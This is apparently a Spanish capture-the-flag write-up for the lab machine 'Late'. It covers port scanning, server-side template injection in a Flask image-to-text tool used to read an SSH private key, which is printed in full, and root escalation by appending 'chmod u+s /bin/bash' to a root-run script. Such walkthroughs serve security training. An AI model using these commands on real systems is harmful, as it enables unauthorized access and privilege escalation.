Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap, donde encontramos abiertos solo 2 puertos 22 y 80 (ssh y http respectivamente)
❯ nmap 10.10.11.156
Nmap scan report for 10.10.11.156
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Al abrir la página principal podemos ver una web que nos habla de tener herramientas onnline mas sencillas de utilizar para editar imágenes
En el apartado de preguntas frecuentes se nos da un enlace a el editor de imágenes gratuito que nos redirige al dominio images.late.htb
De primeras el navegador no sabrá a donde apuntar con ese dominio asi que le indicaremos la ip de la máquina agregandolo al archivo /etc/hosts
❯ echo "10.10.11.156 images.late.htb" | sudo tee -a /etc/hosts
Shell - svc_acc
Al abrir el nuevo dominio podemos ver una web que nos permite subir una imagen, y algo interesante es que nos dice que esta montado en Flask, que es reconocido por tener la vulnerabilidad de Server Side Template Injection
en este tipo de CTFs
En mi caso subire la captura anterior para ver que es lo que hace, y al subirla nos intenta descargar un archivo con el nombre results.txt
Al leer el archivo txt que descargó, podemos ver que convierte el contenido visual de la imagen a un archivo de texto que contiene el html de lo que este en ella
❯ cat results.txt
<p>
Convert image to texters
If you want to turn an image into a text document, you came to the right place.
Convert your image now!
Choose file Browse
</p>
Ya que esta corriendo Flask
podemos probar un clásico payload para explotar un SSTI, asi que tomamos una captura de pantalla con el payload como la siguiente
Al subir esa imagen nos descarga otro results.txt y podemos ver 49, la operación se ha computado por lo que es vulnerable a Server Side Template Injection
❯ cat results.txt
<p>
49
</p>
Podemos usar un payload de PayloadsAllTheThings y ejecutaremos el comando id
para saber el usuario y cat ~/.ssh/id_rsa
para leer su clave rsa privada
Al subir la imagen anterior nos devuelve otro results.txt donde nos muestra la salida de ambos comandos, el usuario es svc_acc
y tambien podemos ver su clave privada
❯ cat results.txt
<p>
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi
/mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7
d137M3Oi2WTWRBzcWTAMwfSJ2cEttvS/AnE/B2Eelj1shYUZuPyIoLhSMicGnhB7
7IKpZeQ+MgksRcHJ5fJ2hvTu/T3yL9tggf9DsQIDAQABAoIBAHCBinbBhrGW6tLM
fLSmimptq/1uAgoB3qxTaLDeZnUhaAmuxiGWcl5nCxoWInlAIX1XkwwyEb01yvw0
ppJp5a+/OPwDJXus5lKv9MtCaBidR9/vp9wWHmuDP9D91MKKL6Z1pMN175GN8jgz
W0lKDpuh1oRy708UOxjMEalQgCRSGkJYDpM4pJkk/c7aHYw6GQKhoN1en/7I50IZ
uFB4CzS1bgAglNb7Y1bCJ913F5oWs0dvN5ezQ28gy92pGfNIJrk3cxO33SD9CCwC
T9KJxoUhuoCuMs00PxtJMymaHvOkDYSXOyHHHPSlIJl2ZezXZMFswHhnWGuNe9IH
Ql49ezkCgYEA0OTVbOT/EivAuu+QPaLvC0N8GEtn7uOPu9j1HjAvuOhom6K4troi
WEBJ3pvIsrUlLd9J3cY7ciRxnbanN/Qt9rHDu9Mc+W5DQAQGPWFxk4bM7Zxnb7Ng
Hr4+hcK+SYNn5fCX5qjmzE6c/5+sbQ20jhl20kxVT26MvoAB9+I1ku8CgYEA0EA7
t4UB/PaoU0+kz1dNDEyNamSe5mXh/Hc/mX9cj5cQFABN9lBTcmfZ5R6I0ifXpZuq
0xEKNYA3HS5qvOI3dHj6O4JZBDUzCgZFmlI5fslxLtl57WnlwSCGHLdP/knKxHIE
uJBIk0KSZBeT8F7IfUukZjCYO0y4HtDP3DUqE18CgYBgI5EeRt4lrMFMx4io9V3y
3yIzxDCXP2AdYiKdvCuafEv4pRFB97RqzVux+hyKMthjnkpOqTcetysbHL8k/1pQ
GUwuG2FQYrDMu41rnnc5IGccTElGnVV1kLURtqkBCFs+9lXSsJVYHi4fb4tZvV8F
ry6CZuM0ZXqdCijdvtxNPQKBgQC7F1oPEAGvP/INltncJPRlfkj2MpvHJfUXGhMb
Vh7UKcUaEwP3rEar270YaIxHMeA9OlMH+KERW7UoFFF0jE+B5kX5PKu4agsGkIfr
kr9wto1mp58wuhjdntid59qH+8edIUo4ffeVxRM7tSsFokHAvzpdTH8Xl1864CI+
Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL
K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----
</p>
Guardamos la clave privada en un archivo llamado id_rsa y despues de darle permiso 600 con chmod 600 id_rsa
podemos conectarnos por ssh sin contraseña
❯ ssh svc_acc@10.10.11.156 -i id_rsa
svc_acc@late:~$ id
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
svc_acc@late:~$ hostname -I
10.10.11.156
svc_acc@late:~$ cat user.txt
974**************************fd4
svc_acc@late:~$
Shell - root
Si listamos procesos con pspy e iniciamos sesión por ssh en otra terminal podemos ver que root ejecuta un script con bash en cada inicio de sesión de ssh
CMD: UID=0 PID=2227 | /bin/bash /usr/local/sbin/ssh-alert.sh
Podemos leer el archivo en bash que se ejecuta y lo que hace parece que es avisar a root mediante un mail cada inicio de sesión por ssh
svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
svc_acc@late:~$
Si listamos los permisos podemos ver que nuestro usuario es el propietario, por lo que deberiamos tener permisos de escritura en el script de bash
svc_acc@late:/usr/local/sbin$ ls -l ssh-alert.sh
-rwxr-xr-x 1 svc_acc svc_acc 433 Mar 15 20:39 ssh-alert.sh
svc_acc@late:/usr/local/sbin$
Sin embargo al intentar escribir nos dice que no tenemos permitido hacerlo
svc_acc@late:/usr/local/sbin$ echo "test" > ssh-alert.sh
-bash: ssh-alert.sh: Operation not permitted
svc_acc@late:/usr/local/sbin$
Al listar privilegios mas avanzados encontramos que solo tenemos permiso de hacer un append pero no de sobreescribir el contenido ya existente en el archivo
svc_acc@late:/usr/local/sbin$ lsattr ssh-alert.sh
-----a--------e--- ssh-alert.sh
svc_acc@late:/usr/local/sbin$
Hacemos un append del comando chmod u+s /bin/bash
para cuando root ejecute el script asigne privilegios suid a la bash y podamos obtener su uid temporalmente
svc_acc@late:/usr/local/sbin$ echo "chmod u+s /bin/bash" >> ssh-alert.sh
svc_acc@late:/usr/local/sbin$
Ahora salimos y volvemos a loguearnos para que root ejecute el comando en el script
svc_acc@late:/usr/local/sbin$ exit
logout
Connection to 10.10.11.156 closed.
❯ ssh svc_acc@10.10.11.156 -i id_rsa
-bash-4.4$
El comando se ha ejecutado por lo que ahora la bash tiene privilegios suid, con el comando bash -p
obtenemos su uid temporalmente y nos convertimos en root
-bash-4.4$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
-bash-4.4$ bash -p
bash-4.4# whoami
root
bash-4.4# hostname -I
10.10.11.156
bash-4.4# cat /root/root.txt
9e3**************************b96
bash-4.4#